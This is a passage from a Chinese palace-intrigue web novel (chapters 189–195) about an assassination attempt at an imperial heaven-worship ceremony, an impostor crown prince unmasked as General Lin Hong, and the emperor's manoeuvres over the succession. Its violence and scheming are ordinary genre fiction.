他的声音洪亮而清晰,在山间久久回荡。 祭文内容满是对上天的敬畏和祈求国泰民安的心愿。 唐蕊暗暗翻了个白眼,心里默默吐槽表面功夫。 这种方式,苍天真的能听到吗?谁又能保证? 但他们这些人受罪却是实打实的。 唐蕊甚至有点怀疑,这种祭天活动,是不是司徒家的先辈,专门研究出来恶整这些权贵的了。 司徒霄的声音还在继续,除了他的声音,整个广场寂静无声,每个人都一脸庄严肃穆。 看上去…莫名有点瘆人! 太阳越升越高,唐蕊华丽的宫装下早已一片热汗。 额头上的汗水流入眼角,都不敢去擦拭。 再看看其他女眷,很多人都已经脸色发白摇摇欲坠了,就连一些文臣,抬起的手都在微微打颤。 唐蕊这一刻就很佩服那些还化着妆的女眷。 多难受啊! 不像她,早知道会这样,直接素颜,乳霜都没擦。 即便如此…玛德! 还是度秒如年啊! 老天爷,您要是真的在天有灵,就赶紧让太阳下山吧! 或是来一片乌云,遮住太阳。 这样下去,就算她身体再好,都有些抗不住了啊! 唐蕊正天马行空胡思乱想着,异变突生! 一群黑衣人从四面八方凌空而来,拔出长剑,见人就砍。 在场的羽林军们一秒回神,纷纷拔出武器冲了上去。 广场上顿时一片混乱,尖叫声、呼喊声和兵器碰撞声交织在一起。 那些原本庄严肃穆跪着的人们,此刻惊慌失措地四处奔逃。 几个王爷迅速反应过来,纷纷上前,试图组织人手抵抗黑衣人。 但黑衣人训练有素,攻势猛烈,一时间竟将众人逼得节节败退。 不过片刻的功夫,很多官员及其女眷都倒在了血泊之中。 郡主堆这也落下来七个黑衣人,一个脸生的女子被青峰拦腰斩断,血洒一地。 其他大大小小的郡主都被这一幕吓傻了,久久回不过神来。 “都跑啊,还愣着干嘛?”唐蕊一嗓子,让她们回过神来,尖叫着四处逃窜。 也不知道是不是唐蕊的声音引起了刺客们的关注,他们互视一眼,有三个刺客竟然直直朝唐蕊冲了过来。 第190章 跑什么跑!干他! 唐蕊一声卧槽,扭头就跑。 可这时,一个人却从身后推了她一把。 唐蕊摔倒在地,抬眸看去。 推倒唐蕊的人此时也惊恐的回过头来,竟然是司徒月。 “对…对不起…”她朝唐蕊跑了两步,想来扶她,下一刻却看到了追过来三个黑衣人,顿时也顾不得扶人了,提着裙摆跑得飞快。 破空声已经到了唐蕊身后,唐蕊不用看都知道,刺客的剑估计离她的脖子只有0.01公分。 唐蕊捏紧手腕上的赤赤,准备跟这三个瘪犊子拼了。 下一刻,一把剑却横刺过来,挡住了刺客的剑。 唐蕊一看,惊呆了:“顾楠聿?” 不是,你不是在另一边吗? 她不知道,自从她出现在视线中,顾楠聿就一直在看着她。 刺客出现的那一刻,他抢过一个羽林军的武器就冲了过来,丝毫不顾家人的声嘶力竭。 “快跑!”顾楠聿一手持剑,一手拉着她往前狂奔。 可他忘记了唐蕊的小短腿,根本就跟不上他的大长腿,更别说还穿着这么繁琐的宫装。 只不过被他带着跑了两步,唐蕊再次一头栽倒,脸先着地。 刺客追了上来,顾楠聿一咬牙挡在唐蕊前面,与那刺客打了起来。 他习武的时间不长,哪里是这个刺客的对手,不过片刻就节节败退。 唐蕊顾不得自己摔得通红的鼻子隐隐作痛,爬起身来,怪叫一声冲向那刺客,用尽全力撞了过去。 “嗷~”刺客一声惨绝人寰的尖叫,捂着裤裆,剑都拿不稳了,乓啷一声掉在地上。 唐蕊:“…”这,就尴尬了不是? 不过这也不怪她啊,谁让她的身高,这么的尴尬! 跳起来撞人,就不偏不倚正好是这个位置。 顾楠聿也懵了一瞬,很快回神,趁机一剑结果了这个刺客。 第二个刺客也到了。 顾楠聿想拉着唐蕊跑已经来不及了,只能继续挡在唐蕊前面,让她快跑。 “跑什么跑!干他!”唐蕊一把扯开他,扯下手腕上的赤赤扔了过去。 赤赤一睁眼看到的就是明晃晃的刀刃,整个蛇都是懵的。 主人,你就是这么坑狗…蛇的? 生死之间,赤赤超常发挥,身子扭成了麻花,以一个极其刁钻的角度避开长剑,张口咬住了那刺客的脖子。 毒牙里的毒素最大限度的往那人身体里输送。 刺客捂着脖子,很快就失去全身的力气,泛着白眼倒地抽搐。 他的身体,也在众目睽睽之下,以肉眼可见的速度化作一滩血水。 看到这一幕的人发出阵阵惊呼。 第三个赶到的刺客惊了一瞬,不可置信的看着唐蕊。 唐蕊又蹦又跳:“赤赤,咬他,咬这个!” “小贱人!”刺客怒骂一声,运用轻功,如鬼魅般出现在唐蕊身后,长剑在阳光下泛着阴冷的光。 “昭华!”顾楠聿神色大变。 唐蕊也感觉到了身后凉飕飕的劲风。 啧… 好像要完犊子了! 关键时刻,唐蕊大脑根本来不及思考别的,只是出于本能抱着脑袋蹲下身去。 即便如此,她也躲不开即将落下的长剑。 “不要!”顾楠聿瞪大眼睛,一颗心都提到了嗓子眼,一时间都忘记了呼吸,不要命的往唐蕊那边跑。 赶不及! 根本就赶不及! 怎么办? 就在他绝望的时候,司徒澈如鬼魅般出现,一脚踹飞刺客的同时还抢过了他的剑掷了出去。 刺客刚倒地的下一刻,长剑也精准的没入他的胸口。 唐蕊双眼晶亮,吹了个口哨,竖起大拇指:“帅!” “…”真是服了,司徒澈无语了一瞬,鄙夷的看了一眼顾楠聿:“带昭华去父皇那边,别在这添乱。” “是!”顾楠聿面上不显,心里却无比挫败。 习武就没有什么速成的法子吗? 还是非得从小练才管用? 这样下去,什么时候才能打得过老丈人,拿到话语权? 顾楠聿牵着唐蕊往皇帝那边跑,唐蕊抽空回头看了一眼。 只见她那帅得天怒人怨的老爹双手背负在身后,面对十几个刺客半点不慌,不紧不慢来到已经化成血水的刺客身边,脚尖挑起长剑,伸手接住,下一刻冲向那些黑衣人。 剑影闪烁,寒光凛冽。 司徒澈每一次挥剑都带着凌厉的气势,刀风呼啸,所过之处,黑衣人的身体纷纷被划破,鲜血飞溅。 他身姿矫健,步伐灵活,在刺客群中穿梭自如,仿佛不是在打斗,而是在进行一场优雅的舞蹈表演。 那些黑衣人在他的剑下毫无还手之力,纷纷倒地。 “!!!”哎我去! 帅得一脸血啊! 唐蕊眼睛都快变成爱心形状了,一边跑还不忘一边扯着顾楠聿:“我爹是不是帅呆了?” “呵…”顾楠聿看了一眼身姿矫健的司徒澈,冷笑一声,不做评价。 心里却暗暗发誓以后他也要这么帅,让唐蕊的眼神只愿意为他停留! 两人跑到皇帝这边,才发现这边早已聚集了很多人了。 不管是朝臣还是女眷,似乎都知道,只有距离皇帝最近才是最安全的。 很多人脸上都带着惊惧之色,只有皇帝,临危不乱,抱着司徒辉泽,稳稳的坐在龙辇上,冷冷的看着这一出闹剧。 “父…父皇…”司徒霄挤到龙辇前,脸色惨白:“儿臣不知道这些刺客是哪里来的啊!” 皇帝看都没看他一眼,轻轻拍了拍龙辇延侧,几个轿夫赶紧放下龙辇。 抱着司徒辉泽踏出龙辇,皇帝看着带着羽林军反抗这些刺客的几个儿子,眼底露出一丝赞赏之色。 辰王也是文武双全之辈,只不过一直以来,他的光芒都被司徒澈掩盖住了。 此时他带着一队羽林军,已经活抓了两个刺客,一招一式行云流水,脸上没有丝毫惧色。 比起辰王,睿王没那么英勇,关键时刻却愿意挡在他的前面,哪怕双股颤颤,自己都怕得不行,却也没有退缩半分。 襄王和晋王武功不如司徒澈和辰王,却也在奋力清缴刺客。 就连他最小的儿子司徒安,此时也在一旁不停的指挥着一队羽林军。 还不忘提醒广场上正在对付刺客的几个武将当心! 司徒澈最是英勇,眼神坚毅,所过之处几乎都没有活口,脚下一片猩红,还会随手救下那些快要命丧刀口的权贵。 嗯! 他的儿子,个个都是好样的。 除了… 第191章 陈姬…有喜了 皇帝斜睨了司徒霄一眼,眼底划过一丝鄙夷。 不怪他想废太子! 看看这个不成器的儿子,哪里有一国储君的样子? 关键时刻,与一众柔弱文臣和女眷躲在他身边,一点都不敢冒头,吓得跟鹌鹑一样。 哼! 皇帝一声冷哼,暗骂了一句没用的废物,便不再看他了。 他没看到,身边的司徒霄眼神变得阴冷起来,缓缓拔出了藏在袖口里的匕首。 唐蕊看到了,脸色骤变:“皇爷爷当心太子!” 嗯? 皇帝猛的侧头,司徒霄已经拔出了匕首,不顾一切冲了过去:“老东西区死!” 文臣和女眷们惊呼出声,陈德福吓得呼吸都停止了:“皇上!护驾!” 几个王爷听到他的声音看了过来,一个个脸色巨变:“父皇!” 只有皇帝,丝毫不慌,冷冷的看着司徒霄,犹如在看一个跳梁小丑! 眼看那匕首快到刺到皇帝,一道黑影出现,一脚踹飞匕首,刀光一晃,长剑已经架在了司徒霄脖子上。 那银色的面具,昭示了他的身份,竟是隐主! 姜妃满脸不可置信:“霄…霄儿,你这是做什么?” 司徒霄张了张嘴想说什么,皇帝却根本不给他解释的时间:“杀无赦!” “不要!”姜妃只来得及发出一声惊呼,就见那隐主在皇帝话音刚落之际,一剑划破了司徒霄的脖子! 鲜血喷洒,司徒霄软软的倒了下去,眼睛瞪得老大,没了呼吸。 “霄儿!”姜妃发出一声凄厉的尖叫,眼前一黑,昏了过去。 “父王…死了…”躲在人群中的司徒薇愣愣的看着这一幕,感觉天都塌了。 几个王爷也吓了一跳,没想到一直视为心腹大患的司徒霄就这么嘎了。 好魔幻啊! 他们快速解决所有刺客,回到皇帝面前复命,看向司徒霄的尸体时,脸色很是复杂。 想不通啊! 司徒霄怎么敢的? 难道一个人会蠢到这样的地步,在这种情况下刺杀皇帝? 怎么感觉…好不真实呢? 东宫的其他女人也都差不多,呆愣愣看着这一幕,久久无法回过神来。 也不知道是不是刺激太大,陈姬突然腹痛难忍,只一瞬间脸色就惨白无比,扶着婢女,软软的滑落在地。 “主子,太医,太医…快救救我家主儿!”婢女的呼唤传来,现场一片鸡飞狗跳。 院首见皇帝没有反对,赶紧点了个小太医过去看看。 小太医只给陈姬一把脉,脸色就复杂起来:“这…禀皇上,陈姬…有喜了!” “什么?”别人还没说什么,陈姬便怪叫出声,满脸难以置信。 有喜? 怎么可能? 别人不知道,他自己还不知道吗? 他可是男儿身,如何有喜? 小太医硬着头皮再次重复:“陈主儿,是喜脉没错的。” “……”陈姬呆呆的,觉得太荒谬了。 她的婢女喜也不是,哭也不是。 太子要是还活着,有喜了就是天大的喜事。 可现在太子,死了啊! 还是刺杀皇帝不成反被杀的,要遗臭万年的! “既然有喜了,就扶下去好生休息!”皇帝随意的挥了挥手。 司徒霄都死了,他的女人有没有喜都不重要了。 陈姬一脸呆滞的被自己的侍女扶了下去,没注意到不远处的顾若雪,嘴角不怀好意的翘起。 神医给的东西就是厉害! 只是可惜…司徒霄脑子被驴踢了,竟然这个时候犯蠢,都没机会看到未来即将发生的闹剧! “父王…父王…呜呜呜…”司徒谨终于回过神,哭着跑了过来,跪倒在司徒霄尸体前。 皇帝冷漠脸:“来人,把谨哥带下去。” “皇爷爷呜呜呜…我父王不会弑君的,这里面一定有什么误会!”司徒谨根本不相信眼前发生的一切,哭得撕心裂肺。 皇帝不为所动,羽林军来拉司徒谨的时候,他还不停挣扎,不肯相信眼前的事实。 突然,他不知道看到了什么,连忙大喊起来:“皇爷爷,他不是父王啊!” “嗯?”皇帝眉头微蹙,定睛去看司徒霄的尸体,却没发现有哪里不对。 司徒瑾挣脱开羽林军,连滚带爬来到司徒霄尸体前,指着他的左手,神色激动道:“皇爷爷,父王小指指根有一颗黑痣的,可是这个人没有,他不是父王,不是啊!” 皇帝脸色一沉,扫了一眼身边的隐主。 隐主二话不说来到司徒霄尸体前,在他脸侧边缘摸索起来。 很快,隐主就摸索到了东西,用力撕下人皮面具。 面具下,是一张熟悉的脸。 有朝臣很快就认出了这人,神色大变:“皇上,这…是林都统啊!” 皇帝往前几步,仔细看着‘司徒霄’的脸,脸色难看到极点。 林府一众人也听到了这话,一个个满脸不可置信,纷纷上前。 待看到那张熟悉的脸时,腿都软了,不过片刻齐刷刷跪了一地。 唯一的男丁林二老爷痛哭流涕:“皇上,冤枉啊,长兄嫡女即将入东宫为太子妃,为何要这么做?请皇上明察啊!” “皇上,我爹爹绝不可能做这样的事,这里面一定有冤情,求皇上为我爹爹做主啊!”二八芳华的女子哭得梨花带雨。 唐蕊好奇的询问顾楠聿:“这是谁?” 顾楠聿面无表情道:“这就是太子即将迎娶的太子妃,林家嫡女林婉诗。” 唐蕊皱了皱眉,倒是听说过这个女子。 姜妃为太子新选的太子妃,也是已逝老太尉的嫡孙女。 老太尉死了,嫡子林鸿还是白虎军左都统,所以林家在贵圈还是占有一席之地。 唐蕊一脸狐疑:“这到底什么情况?” 未来老丈人林鸿冒充太子女婿,还要杀亲家皇帝? 这些字每个分开她都认识,怎么合在一起她就看不懂了? 等等! 唐蕊左右环视,神色狐疑:“太子叔叔不是太子叔叔,那…太子叔叔去哪啦?” 这… 众人面面相觑! 他们也想知道,这是唱的哪一出! “龙隐卫,查!”皇帝黑着脸,都越过顺天府和宗人府,直接让龙隐卫去办了。 第192章 这一切竟然是太子自导自演的戏码 隐主拱手,如鬼魅般消失在原地! 皇帝一一扫视过这些朝臣,以及此次刺杀中遇害的朝臣及其家眷,谁都不知道他在想些什么。 也没人敢在这个时候说话,生怕触怒龙颜。 不知过了多久,皇帝才把怀中司徒辉泽递给陈德福,回到龙辇上:“辰王、璃王,你们处理后事!” “儿臣遵旨!”两人领命,开始统计死者,安排伤员。 陈德福把司徒辉泽交给秦芷嫣,随皇帝回皇家园林去了。 皇帝都走了,其他人也纷纷开溜。 唐蕊揉着自己的老腰:“这次祭天是不是黄了?” “肯定的,明日或许就要回宫了!”顾楠聿看着她发红的鼻头,眉头微蹙:“鼻子痛不痛?” “还好,不是很痛了!”她都已经被今天的事搞懵了。 “蕊蕊!”秦芷嫣抱着小辉泽,带着一众女人走了过来,见唐蕊好好的,这才放心下来:“我们也先回去吧,此地不宜久留!” “嗯哦!”唐蕊朝顾楠聿挥了挥手:“顾楠聿,我先走啦,今天谢谢你哦。” “当心!”顾楠聿退后一步,静静的看着她小小的身影消失在视线中。 顾丞相走了过来,无奈一叹:“就这么喜欢昭华啊?” 顾楠聿收回视线,神色淡淡:“孙儿没有!” 顾丞相笑呵呵道:“听说你买了个武功高强的哑奴,一直在跟他学呢,就是为了保护昭华吧?” “孙儿说了,没有!”顾楠聿打死不认,一副不想搭理的样子。 “好好好,没有就没有,不过…”顾丞相说到这,突然话音一转:“我还想着,昭华郡主喜欢吃,还专门买通了宫里的御厨,想让你去跟着学两天呢,既然你说没有,那就算了吧!” 顾楠聿脸色一僵,被精准拿捏了。 眼看顾丞相摇头晃脑的走了,他硬着头皮追了上去与他平行,眼神却别扭的落在别处:“我学!” 顾丞相故作耳聋:“你说什么?老头子我年纪大了,耳朵不好使,听不到啊!” 顾楠聿闭眼,深呼吸:“我说,我要学!” 顾丞相眉梢一扬,笑眯眯道:“那你先告诉祖父,今天这事,你怎么看?” 顾楠聿扫了一眼那些枉死的人,很快又收回视线:“祖父,您难道没有发现,这些死去的人,几乎都是保皇党?” 顾丞相眉眼一沉,这才去看那些尸体。 果然,就像是顾楠聿说的那样,几乎都是保皇党,没有一个太子党! “林婉诗只是姜妃为太子选中的太子妃,主要是看中了林鸿手里那点兵权,但…太子又看得上吗?是真无辜还是自导自演,您比我清楚!”顾楠聿说罢,不顾一脸懵逼的顾丞相,又道:“明日,孙儿就想进宫跟御厨学!” 顾丞相点点头:“知道了,你先回去吧!” “孙儿告退!”顾楠聿拱拱手,转身离开! 他刚走没多久,辰王和司徒澈也走了过来。 司徒澈小声道:“顾丞相,这一切颇有蹊跷,死的几乎都是父皇的人,太子党很少很少!” 顾丞相:“…” 人和人之间是有差距的。 瞧瞧! 不光是他的孙儿智商高眼睛毒,司徒澈也不遑多让,能一眼看出问题本质。 怪不得人家能做大夏战神,最得皇帝看重呢! 可惜了,他那优秀的孙儿,以后搞不好就是驸马。 驸马不能干政,白瞎了好脑子和能力。 辰王脸色凝重:“七皇弟一说,我才反应过来。丞相大人,我与七皇弟现在抽不开身,此事…” “你们放心,老夫这就去见陛下!”顾丞相看着那一具具尸体,轻声一叹:“只是,他们的后事,还得麻烦二位王爷。” 司徒澈郑重其事:“丞相放心,本王与三皇兄会处理好他们的身后事。” “多谢…”顾丞相以前还对皇帝想废了司徒霄的心有一丢丢看法。 毕竟易储这事,只会让江山动荡,百姓不安,没有丝毫好处。 可现在,他是真的举双手支持了。 就因为政见不同,便杀了这么多朝廷命官。 如此无法无天,阴毒暴虐,哪天要是真让司徒霄坐上高位,满朝文武都还不够他杀的。 … 祭天典礼被破坏,翌日一早皇帝起驾回宫。 所有朝臣和女眷也各回各家。 此事传入民间,引发民怨。 一开始不明真相的百姓骂的是太子,可后来听说太子下落不明,还被林鸿顶替。 林府,就成了百姓们发泄怨气的对象。 哪怕皇帝已经派了羽林军包围林府,等待调查结果。 但也拦不住义愤填膺的百姓们。 他们冲到林府门口,朝大门扔臭鸡蛋,烂叶子。 甚至还有人扔屎! 曾经恢宏大气的府门,如今臭气熏天! 如今林府就林二老爷一个男丁,可他不如兄长孔武有力,也不能领兵打仗。 混到现在,就是个小小的七品官,根本护不住这一大家子人。 林二老爷每天焦头烂额,长房林鸿一家更是成了全家人讨伐的对象。 以前大家对他们有多恭敬,现在就有多厌恶。 林家大夫人被气出病来,卧床不起。 林婉诗每天以泪洗面,照顾着病母,心里却始终怀着一份期待。 那个人答应过她的,这件事成了之后,会立刻娶她过门。 她在等,一直在等! 可那个人到底什么时候出现? 一日复一日的等待,林婉诗痛苦不堪,被折磨得不成人形。 没了林鸿这个父亲撑腰,二房的人也开始欺负她,府里的奴才也不再尊重她。 这天晚上,一道黑影潜入林府。 等黑影离开后,林婉诗上吊自尽了,只留下一个病重垂危的老母亲。 她的尸体,直到早上才被侍婢发现。 又过了一天,林大夫人也重病离世。 好好的一家三口,瞬间死得干干净净。 这事传到皇帝耳中的时候,皇帝都气笑了。 他是真没看出来,司徒霄竟然牛逼到这个地步。 要不是顾丞相昨天跑来跟他说,死的都是保皇党,他第一时间都没反应过来,这一切八成是太子自导自演的戏码。 第193章 通敌叛国的罪名 让林鸿李代桃僵,能除掉他这个皇帝,顺利继位那就最好。 要是不能,也不要紧,至少能摆脱祭天失职的骂名。 至于怎么说动林鸿的,不用猜就知道,是利用婚事和要是刺杀成功上位的说辞。 只要稍微表达一下对这门婚事的不满,以林鸿那个武夫简单的头脑,肯定会着急。 这个时候再蛊惑他一下,要是刺杀成功,司徒霄就能称帝云云,林鸿还不会动心吗? 做太子的老丈人,还是做国丈,这还用选? 最后林鸿顶罪,再灭了他妻女的口,司徒霄则是完美隐身,装作受害者! 哈… 皇帝笑了,也真的笑出了声来,同时心里还升起一股诡异的满足感。 他就说,他的儿子个个都是人中龙凤,就连老五这个蠢货,也有自己的闪光点,至少是个书呆子,说好听点能称呼一声学霸。 怎么偏偏就司徒霄这个太子是一个彻头彻尾的草包呢? 好嘛! 他装的! 司徒霄如此,他一时间还真不想杀他了。 杀了太可惜,给小七当做垫脚石,磨磨小七的性子,多完美啊! 自古以来哪个坐上龙椅的帝王没有几个炮灰兄弟? 小七很不错,非常优秀,就是心不够狠,还需要历练! 以前皇帝觉得司徒霄不够格,还想激发辰王和小七之间的矛盾的。 但现在他不这么想了。 司徒霄这种阴险歹毒的阴暗批,简直太合格了有木有? 陈德福听着皇帝不时的诡异笑声,头皮发麻:“皇上,您别生气,当心气坏了自个儿的身子啊!” “气?不不不,朕一点都不生气!”皇帝哈哈一笑,很快脸色又正经起来:“太子呢?还没找到吗?” 陈德福叹息一声摇摇头:“回皇上,还没呢,能找的地方都找遍了,始终没有消息。” 皇帝眉眼一肃:“继续找,朕的太子一定不能有事!” 陈德福:“??” 不是,搁这演什么父子情深啊? 您有这么关心太子吗? 一道黑影如鬼魅般出现,单膝跪地:“禀皇上,太子殿下在冷宫废井中找到了,此时此刻昏迷不醒,属下已把他送回东宫!” “赶紧叫太医,随朕一起去看看!”皇帝很是急切往外走。 陈德福赶紧跟上,一头雾水。 啥情况? 变天了? 皇帝到了东宫,还带来了太医。 司徒霄奄奄一息的躺在床上,脸上青紫,嘴角还有一丝血迹,依旧昏迷不醒。 东宫女眷们期期艾艾跪了一地,不停嘤嘤。 皇帝让太医上前给司徒霄诊脉。 太医施了针后,司徒霄慢慢醒了过来,茫然的看着皇帝:“父皇?儿臣…这是怎么了?” 皇帝叹息一声:“太子,林鸿冒名顶替你,你可还记得?” “儿臣…不记得了啊,儿臣只记得祭天前一晚,沐浴之后回东宫,被人打晕了,接下来就什么都不知道了…”司徒霄言罢,突然想起祭天的事,顿时着急起来:“父皇,祭天呢?祭天仪式如何了?” “唉…太子啊,你已经失踪好几天了,祭天仪式也毁了。”皇帝叹气! 司徒霄目瞪口呆,回过神后赶紧掀开被子跪下,脸色苍白:“父皇,儿臣不知道会这样啊,林鸿,他怎么敢?父皇,您可得给儿臣做主啊!” “自然,你是大夏太子,朕的儿子,朕自然会给你做主。”皇帝化身老父亲,亲手扶起他,笑得非常温和。 温和得司徒霄心里发毛,差点演不下去了:“父皇,这几天到底发生了什么事啊?” “陈德福,告诉太子…”皇帝才不想浪费口水。 陈德福上前,把这几天发生的事一五一十告诉他。 太子一脸懵逼,久久回不过神来,嘴里不停喃喃:“为何?林大人为何要这么做?这对他有什么好处?” “儿臣,参见父王!”外面传来辰王的声音:“父皇,林三小姐在清点林鸿遗物时,发现了他与北狄通敌叛国的信件。” 皇帝:“…” 哎哟喂,来得真及时啊! 这不就圆上了吗? “进来!”皇帝眼尾抽了抽,差点憋不住笑了。 辰王很快带着林三小姐进来了,小小的姑娘不过十四出头,骨瘦如柴,却高捧着那些信件,头也不敢抬。 皇帝拿过信件看了看,脸色发沉,最后把信件全扔到地上:“他好大的胆子!” 林三小姐吓得缩了缩脖子,脑袋垂得更低了。 皇帝看向她:“你是林家三房的小姐?” 林三小姐点头:“回皇上,民女是林家三房的嫡女。” 皇帝点点头,又问:“为何是你去清点林鸿遗物?” 林三小姐赶紧道:“回皇上,是我们一家人都在清点,只不过民女在收拾书房,刚好看到了这些信件。民女觉得兹事体大,所以就立刻把这些送到了辰王府,想让辰王殿下递交给皇上!” “父皇!”司徒霄痛哭流涕,义愤填膺:“没想到林鸿竟然是北狄探子,他肯定就是因为这个身份,才想害儿臣,还想杀您,他…他真是罪该万死啊!” 皇帝:“…”阴险狡诈得也不够彻底啊,还是有点没脑子! 北狄最恨的是谁? 来,回答我! 人家放着小七这个威胁不害,来害你这个上不得台面的废物草包太子? 你当人家跟你一样傻,还是以为朕跟你一样蠢呢? “原来是这样,可恶的北狄!”皇帝故作生气,起身来回走动:“林鸿死不足惜,林家其他人也难逃罪责,传令下去,林家通敌叛国,林鸿虽以伏诛,林家人包庇此人,依旧难辞其咎,朕念其父林太尉曾为大夏立下汗马功劳,死罪可免活罪难逃,林家所有人,流放岭北,无诏不得回!” “父皇!”辰王赶紧开口:“林三小姐献上证据,不与他们同流合污,秉性纯良,实在难得,儿臣请父皇宽恕林三小姐。” “允!”皇帝点点头,就算辰王不说,他也不会怪林三。 对了! 皇帝突然想起司徒郯那个苦命的孙儿,又看了看下面的林三,眼前一亮:“林三小姐,着实不错,老三啊,听说你的王妃在给郯儿选世子妃?” 第194章 感动的就只有辰王一个 辰王眼尾一抽,赶紧开口:“郯儿年纪尚小,不着急…” “郯儿身体不好,是要好好选选,这林三小姐也不错,与郯儿年纪相仿,不如就赐给郯儿做侧妃吧!”皇帝话落,就仔细的盯着自家三儿子瞧。 辰王脸色由白转青,又由青转黑,最后只能憋屈的垂下头去:“儿臣,替郯儿多谢父皇!” “…”哈哈哈,皇帝可是很少看到一向严肃的老三露出这样的表情,差点没忍住笑了:“既然如此,林三小姐就去高贵妃那暂住,你回府后与王妃选个良辰吉日,把人接回去。” “是!”辰王都快郁闷死了。 早知道,在林三小姐来府中求见的时候,他就不该出这个头,应该把证据交给司徒澈,让司徒澈来! 现在好了,平白无故让这孤女占了郯儿一个侧妃的位置。 林三小姐则不同,喜出望外,磕头谢恩:“多谢皇上,吾皇万岁万岁万万岁!” “下去吧!”皇帝疲惫的揉了揉的眉心,又看向太子:“太子,你受苦了,这些日子好好休息,朕改日再来看你。” “是,父皇…”司徒霄达到目的,心里很是得意。 能摆脱林鸿那个武夫,和他的女儿,再好不过。 是的,正如皇帝猜测的那样,他对这桩婚事一直都很不满。 林太尉要是还在,那就算了。 林太尉都不在了,一个左都统的女儿,还有什么价值? 又凭什么做他的太子妃? 要是真娶了林家嫡女,这不是拉低了自己的档次吗? 太子妃的位置,笼络一个有实权的重臣不行? 可这是姜妃给他选的人。 他暂时不能跟姜妃撕破脸,只能硬生生忍着。 本想着就这么认命了,没想到祭天又出了那档子事。 于是干脆一不做二不休,拉林鸿下水,能解决这门婚事,还能摆脱罪名。 以后要是出了什么灾,他完全可以说,林鸿冒充他,触怒了老天,跟他司徒霄没有一点关系。 哈哈… 母妃啊母妃,你老了,也不够聪明,所以才从一国之母被贬为妃! 我就不一样了,我比你聪明太多太多。 你自己犯蠢找死就算了,可别拉上我啊! … 太子离开,林三小姐也被宫人领着去了高贵妃宫殿。 皇帝回自己寝宫,还叫住了一脸郁闷的辰王。 看着辰王那张黑如锅底的脸,皇帝笑了:“是不是对朕的赐婚很不满?” “儿臣不敢!”辰王一本正经开口。 “…”你不敢才怪! 皇帝叹息道:“林老三当年可是不输小七的将帅之才,也最得林太尉喜爱,可惜啊可惜,年纪轻轻,就战死沙场。他走后,夫人也跟着去了,林太尉当时还在,爱屋及乌之下,对林三小姐也很疼爱。林三小姐出生时,林太尉还特意请金光寺主持批过命。主持说,她乃多子多福之相。那年小七重伤回京,一直无所出,要不是看林三小姐年纪太小,朕本是打算把林三小姐指给小七的。你啊,可别不知好歹!” 辰王闻言一愣:“父皇,所以您是为了郯儿?” 皇帝点点头,眼底划过一丝沉重:“是啊!郯儿虽然不似从前,可谁又知道他能活多久?朕,也希望他能留下一子半女啊!” “多谢父皇,儿臣不懂父皇苦心,还…儿臣有罪!”辰王心下很是感动,有记忆以来,这还是皇帝第一次关心他。 皇帝亲手扶起他,意有所指道:“朕的儿子当中,就属你心思缜密,行事果决,不管交给你什么事,你都办得很是妥帖。但,也是因为你心思太过缜密,容易疑心生暗鬼。再者,你在军中毫无根基,能守江山,不能打江山呐。与其选你,让你未来猜忌兵权在握的兄弟,还不如做个辅佐明君的一代贤王,名垂青史。你,可明白朕的意思?” 辰王浑身一震,直勾勾的看着眼前慈爱的老父亲,眼眶渐渐红了。 他以为,多年来所做的一切,皇帝都看不到。 他以为,在皇帝心中,他始终不如老七。 没想到皇帝心里一直都是认可他的能力的。 不仅如此,皇帝还如此了解他! 皇帝什么都知道,不选自己也是担心以后兄弟反目,动摇大夏江山! 此时此刻辰王不禁扪心自问。 若他为皇,能容忍司徒澈手握兵权吗? 就算能,十年呢?二十年呢? 他能一直容忍,不去猜忌吗? 反观司徒澈,铁骨铮铮,光明磊落。 这个问题若是放在他身上,他根本都不会犹豫的选择相信兄弟吧! 辰王深吸一口气,闭了闭眼,这一刻他是彻底放下了:“父皇,儿臣以后定会好好辅佐七皇弟,守住司徒家百年基业,保大夏江山永固!” “好孩子!”皇帝拍了拍他的肩,老怀安慰:“先皇膝下十四子,除了朕和你远在封地的十二皇叔,都死啦…朕年幼时看到兄长们为了这个位置,争得头破血流,明明同根生,却如世仇,每每想起都不寒而栗啊!这些年来,朕不光要铲除外戚,还要削弱世家巩固皇权充盈国库,临了老了,实在不想看到儿子们再重蹈覆辙了。” “儿臣惭愧!”辰王垂眸,有些想哭。 他也没想到,这些年来,皇帝这么辛苦。 他只看到龙椅金光灿灿,却忽略了龙椅下的累累尸骨。 他也不知道,皇帝其实一直都有意培养他跟司徒澈打擂台的。 没有经过历练的皇帝坐不稳这个位置。 要不是今天看到司徒霄的表现,依旧决定让司徒霄跟司徒澈打擂台,皇帝也不会跟他说这一番掏心窝子的话,替司徒澈收了他的心。 没办法,自己的娃自己知道。 几个王爷当中,要说对司徒澈有威胁的,也只有一个辰王了。 论实力,他不输司徒澈,还比司徒澈更有野心一些。 睿王? 拉到吧! 一个书呆子! 襄王? 呵呵…幼稚鬼一个! 晋王更不用说,司徒澈的跟屁虫! 只要搞定了辰王,以后司徒澈再斗到了太子,就没什么可怕的了。 所以这一番父子谈话,感动的就只有辰王一个。 第195章 粮食熟了 想要得到父亲的认可,这是他不断优化自己的动力,也是他最致命的缺点。 要不说,最狡猾的还得是皇帝呢! 自古以来能坐龙椅的人,谁不是八百个心眼子! 皇帝眼见他眼眶红红,一副要哭的样子,又扔出最后一枚重弹。 他笑了笑,拿出一枚虎头兵符递给他。 辰王一看这东西,神色大变:“父皇?这是何意?” “朕不是说了嘛,你未入过军,缺乏历练。虎啸军虽不如铁麟骑,但也有雄狮七万。以后啊,你就是虎啸军统帅了!” 皇帝哈哈一笑,把兵符交到他手中,又拍了拍他的肩膀,眼底满是赞赏与期待:“铭儿,希望你以后好好辅助明君,稳固大夏江山,千万不要让为父失望啊!” 皇帝没有称朕,而是称为父。 这也是皇帝第一次叫他的小名。 辰王这一刻的感动达到了顶点,差点泪洒当场。 他端端正正跪下,如宣誓般坚定道:“儿臣遵旨,定如父皇所愿,辅助明君,永固大夏江山!” “好,不愧是朕的好儿子!”皇帝龙颜大悦。 … 辰王怀着一颗感动的心,回到了辰王府,当即找到辰王妃,跟他说了林三小姐的事。 辰王妃本来还挺不满的,可一听辰王说,当年林太尉请金光寺主持给林三小姐批过命,整个人都愣住了:“原来她说的竟然是真的…” 辰王诧异道:“她是林三小姐吗?她说过什么?” “王爷,您不知道,当初林三小姐拦住了妾身的马车,说想要嫁给郯儿,还说她自己好生养,当初妾身以为她哄骗妾身呢,就没当回事!还想着,这个姑娘也忒不知羞了…” 鬼知道是真的啊! 她还以为是林三在林府过得不如意,想借着自己儿子跳出火坑呢! 辰王笑道:“事关郯儿,你谨慎点也是应该的!” 